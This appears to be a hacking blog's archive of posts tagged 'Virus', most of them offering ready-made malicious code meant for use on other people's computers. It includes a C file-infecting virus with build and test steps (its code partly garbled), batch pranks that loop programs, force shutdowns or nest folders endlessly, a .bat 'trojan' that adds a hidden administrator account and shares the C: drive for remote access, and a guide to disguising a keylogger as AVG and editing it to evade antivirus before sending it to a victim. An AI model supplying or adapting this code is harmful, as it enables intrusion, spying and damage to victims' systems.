Showing posts with label Virus. Show all posts
Showing posts with label Virus. Show all posts

Sunday, 1 December 2013

Hacking for Dummies:- INTRO TO MALWARE


Malware, short for malicious software, is software used to disrupt computer operation.

DOWNLOAD TUTORIAL HERE

Saturday, 14 September 2013

C Language Virus To Enable/Disable USB Ports

It is a simple C code to disable all your computer USB ports and you can also re-enable the USB port using another code.It is easy to understand who know basics of C programming.




Source Code for disable USB Ports:
#include
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f”);
}
write down the above code into your C compiler.save the file as “BLOCK_USB.C” And execute the program by pressing Ctrl+F9.Now all your USB ports are disabled.If you want re-enable your USB ports use the below code
Source Code for enable USB Ports:
#include
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f”);
}
write down the code.save the file as “UNBLOCK_USB.C” and execute the file.Now all your USB ports are re-enabled.Enjoy C programming.

How To Create Virus in C Language

Hi,here we will discuss about how to create a virus program in C language and execute.So first we want to know about what is Virus?.Computer virus is a computer program that can  copy itself and infect a computer.A virus can spread from one computer to another through different medias(internet,removable media-floppy,USB drive,CD,DVD).

Here i published a simple virus program to show how  to create virus in C.

WARNING:FOR  EDUCATIONAL PURPOSE ONLY.NOT MISUSE.
SOURCE CODE:
#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048]
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if (host==NULL) goto next;
x=89088;
printf(infecting %sn”,ffblk.ff_name,a);
while(x<2048 font="">
{
fread(buff,2048,1,virus);
fwrite(buff,2048,i,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE!(total files infected=%d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
1.Copy the virus source code into compiler(Borland tc++ 3.0).press Alt+F9 to compile.
2.Press F9 to generate the EXE file(DO NOT PRESS CLT+F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORIES. )
3.Note down the size of generated EXE files in bytes(click the properties of EXE file for note down the size)
4.Change the value of x in the source code with the noted size(IN THE ABOVE SOURCE CODE X=88089,CHANGE IT)
5.Once again follow the step1 and step2.Now the generated EXE file is ready to infect
HOW TO TEST THE WORKING OF VIRUS:
1.Open new empty folder
2.Put some EXE files(By searching for *.EXE in search and pasting in the new folder) also put virus.exe in same folder
3.Run the virus EXE file.There you will see all the files in the current directory get infected
4.All the infected files will be ready to reinfect.

Thursday, 12 September 2013

Funny Virus To Open Notepad Again and Again In Your Friends Computer

Funny Virus To Open Notepad Again and Again In Your Friends Computer:


Type Following Code In Notepad:




@ECHO off

:top
START %SystemRoot%\system32
otepad.exe
GOTO top




Save it as Anything.BAT and send it.

SHUTDOWN VIRUS


First open notepad and type like show below image



And save in to filename.bat ,open the bat file its display a System shutdown dialogue box within
160 seconds computer will turn off shown below the figure


Enjoy!! 

Optical Drive Door Virus



Open the notepad type the following coding:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set oCD = oWMP.cdromCollection.getByDriveSpecifier("J:") ' or whatever
If vbOK = MsgBox ("Eject?", vbOKCancel) Then
oCD.Eject
If vbOK = MsgBox ("Close?", vbOKCancel) Then
oCD.Eject
End if
End if

And save it in to filename.vbs 

Tuesday, 10 September 2013

Folder Replicator Batch virus


Today i gonna show you how to make a batch file that creates a folder inside a folder & so on..

I know all of them are interested in making virus so once again i came up with new virus(not a virus but it's a batch file).

Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it.


1. Just open up a notepad, copy and paste the below code

cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop

2. Save it as folder.bat, before doing that you have to modify the code by changing the place where it says ‘username’ and instead of that replace it by the currently logged in username.

3. Then run it on the Victims computer to infect it.

4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.

Friday, 6 September 2013

Build Your Own Trojan Horse .bat Format


A Trojan, sometimes referred to as a Trojan horse, is non-self-replicating malware that appears to perform a desirable function for the user but instead facilitates unauthorized access to the user's computer system. 


In this post i will tell you How to create your own trojan horse in a .bat file,Helping you to hack into another persons computer.I had previously  posted a tutorial on How to sent a trojan as a txt file but this post will explain you creating a Trojan in a .bat file to infect a Remote computer.



Creating a Trojan in a .bat file - Procdure

1.Go to start and click on run and type cmd

2.Now insert this command: net

And you will get something like this

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send

We will select some of those commands and put them on a .bat file.

What is a .bat file?
Bat file is a piece of text that windows will execute as commands.

Open notepad and write there:



dir
pause


And now save this as test.bat and execute it.

---------------------- Starting -------------------
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.

Depending on the windows version the name will be different.

If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it's nice
yo know which version of windows xp you are going to try share.

Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

-----------------------: Client :----------------
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access. 


Hope you  liked the post! Pass the comments

Sunday, 1 September 2013

Different Types of Malware and How They Work


 
Malware is a collective term used to represent virus, worms, spyware and other malicious programs out there on the Internet. In simple words, any software program that is intended to cause direct or indirect harm to the computer system is referred to as a malware.
Some malware programs cause serious problems such as destroying the system files, causing disruption to the computer operation or gathering sensitive information while others may only have a light impact such as redirecting websites to pornographic content or annoying the users with pop-ups and banners.
In the normal routine, we have often seen every malicious program being referred to as a virus, but this is not correct! In fact, as mentioned earlier, there exists several malicious programs where virus is one among them. Now, many of you may be wondering to know what’s the difference between them. Well, this article gives a detailed information on different types of malware that exist, how they work and how they differ from each other:

Computer Virus:

As we all know, this is the type of malware that has become highly popular and is one of the most widely discussed topic in the field of computer security. A virus is just a computer program that is designed to take unauthorized control of the infected computer so as to cause harm to the system’s data or degrade its performance.

Mode of operation:

Computer viruses operates by attaching themselves to an already existing file or program and replicates itself to spread from one computer to another. In most cases, they tend to infect executable files that are parts of legitimate programs. So, whenever the infected file is executed on a new computer, the virus gets activated and begins to operate by further replication or causing the intended damage to the system.
A virus cannot perform its task of harming and replication unless it is allowed to execute. This is the reason why viruses often choose an executable file as its host and get attached to them. Viruses are mainly classified into two types:
Non-Resident Viruses: This kind of virus will execute along with its host, perform the needful action of finding and infecting the other possible files and eventually transfers the control back to the main program (host). The operation of the virus will terminate along with that of its host.
Resident Viruses: In case of resident viruses, whenever the infected program is run by the user, the virus gets activated, loads its replication module into the memory and then transfers the control back to the main program. In this case, the virus still remains active in the memory waiting for an opportunity to find and infect other files even after the main program (host) has been terminated.

Damages caused:

Viruses are known to cause destruction of data and software programs. In some cases, a virus may do nothing other than just replicating itself. However, they are responsible for using a large portion of the system resources such as CPU and memory which results in the performance degradation of the computer.
In order to stay protected from a virus infection, you may refer my other post on 12 tips to maintain a virus free computer.

Trojan horse:

A Trojan horse or simply called as Trojan is a type of malicious program that disguises itself as something that is legitimate or useful. The main purpose of a trojan is to gain the trust of the user from the front end, so that it gets the permission to be installed. But, from the back end, it is designed to grant unauthorized control of the computer to the hacker.

Mode of operation:

A Trojan horse do not depend on the host to carry out its operation. So, unlike a computer virus, it does not tend to attach itself to other files. Trojans are often disguised as video codecs, software cracks, keygens and other similar programs downloaded from untrusted sources. So, one has to be careful about those untrusted websites that offer free downloads.
One of the most poplar example is the DNSChanger trojan that was designed to hijack the DNS servers of the victimized computers. It was distributed by some of the rogue pornographic websites as a video codec needed to view online content.

Damages caused:

Trojan horses are known to cause a wide variety of damages such as stealing passwords and login details, electronic money theft, logging keystrokes, modify/delete files, monitor user activity etc.

Worms:

Worms are standalone computer programs with a malicious intent that spread from one computer to another. Unlike viruses, worms have the ability to operate independently and hence do not attach themselves to another program.

Mode of operation:

Worms often use a computer network to spread itself by exploiting the security vulnerabilities that exist inside the individual computers. In most cases, worms are designed only to spread without causing any serious change to the computer system.

Damage caused:

Unlike viruses, worms do not cause damage to the system files and other important programs. However, they are responsible for consuming the bandwidth thereby degrading the performance of the network.

Spyware:

Spyware is a type of malicious software that can collect information about the activities of the target computer without the knowledge of its users. Spywares such as keyloggers are often installed by the owner or administrator of the computer in order to monitor the activities of the users. This can be a parent trying to monitor his child, a company owner trying to monitor his employee or someone trying to spy on his/her spouse.

Mode of operation:

Spywares are designed to operate in a totally stealth mode so that its presence is completely hidden from the users of the computer. Once installed, they silently monitor all the activities on the computer such as keystrokes, web activity, IM logs etc. These logs are stored secretly for later access or uploaded online so that the installer of the spyware program can have access to them.

Damage caused:

Apart from monitoring, spywares do not cause any damage to the computer. However, in some cases the affected computer may experience degradation in its performance.

Adware:

Adware is a software program that automatically renders advertisements to the users without their consent. Most common examples are pop-ups, pop-unders and other annoying banner ads. The prime reason behind the design of adware is to generate revenue for its author.

Mode of operation:

Adwares are are often bundled up with some of the free utilities such as a browser toolbars, video downloaders etc. When such programs are installed, the adware may take over and distract user activity by displaying annoying advertisements.

Damage caused:

Adware is harmless in most of the occasions. However, some are known to contain spywares that are used to monitor the surfing habits of users. This may pose a threat to the privacy of the users.
It is possible to keep the adware at bay by reading my other post on 10 tips to avoid getting adware. I hope you find this article informative and useful. Pass your comments.

Saturday, 31 August 2013

How To Make Your Keylogger/Virus Undetectable

In this tutorial we are going to show you how to make an undetectable keylogger to most antivirus programs (AVG,AVAST,KASPERSKY).Already we had showed you how to make an key logger in our previous tutorial, if you do not know about it first read that here


Tools required:

*Xenocode post build 2009 for .NET beta Download OR Download OR Downlod
*Hex workshop HEX editor Download

Step 1: Initially disable your antivirus protection (Here I am using AVG antivirus Right click on AVG and click “Temporarily disable AVG protection” and select ” Until I restart next time”
Step 2: Install  Xenocode post build 2009 for .NET beta & Hex workshop HEX editor.Also don’t forget to use the crack
Step 3: Open Xenocode post build 2009 for .NET beta from program files and go to Application tab and click  “ADD” option from that and add your keylogger file (ie, already prepared through rapzo keylogger or any other.Here)

Step 4: Now go to “VIRTUALIZE” tab and click “ENABLE” check box at left side. Then go to “GENERAL” tab there. Uncheck the “INHERIT PROPERTIES” tick box at right corner. Then change the product title, publisher, description, website, version to your desired (Here I use AVG v11.3.4, AVG corporation, AVG , www.avg.com ,AVG.(Optional:If you want to change the icon click “BROWSE “ option and select the required application and automatically it will change to that app icon.)


Step 5:Now click “XENOCODE APPLICATION “and save it.


Step 6: Now your keylogger file will appear as shown(With avg icon making it undetectable to victim)


Step 7: Now go to “Hex workshop HEX editor (32 bit)” from “All programs”

Step 8: click “File->open->your keylogger file

Step 9:  Press “Ctrl+F” which opens Find dialog box change type to “TEXT STRING” and search for “COPYRIGHT”

Step 10: It will show the result as follows

Step 11: Now select these codes as shown in fig(....... inflate 1.2.3 copyright)



Step 12: Now right click on the selected area and click “FILL” option from that,then click OK.


Step 13: Result will change all binary codes to 00 as shown


Step 14: Then manually search for  “X.e.n.o.c.o.d.e. .V.i.r.t.u.a.l. .A.p.p.l.i.a.n.c.e. .R.u.n.t.i.m.e”(Ctrl+F feature cannot be used here, if required use Ctrl+F and search for letter X and find X.e.n.o.c.o.d.e)

Step 15: again as step 12 right click on the selected area and click “FILL” option from that, and then click OK.

Then it will look as


Step 16: click save option from File->save.


On that dialog box click Yes. Then it will be automatically saved to your key logger file.

Step 17:Turn back the antivirus and scan that key logger file.

Hurrah!!!!  Yes you made it ,an undetectable key logger J !!!This file is not detected by most antivirus (AVG,AVST,KASPERSKY)which is used by most of our friends. You cancheck it through online scanners as shown

Now send that keylogger file to your victim which would not be detected by his antivirus.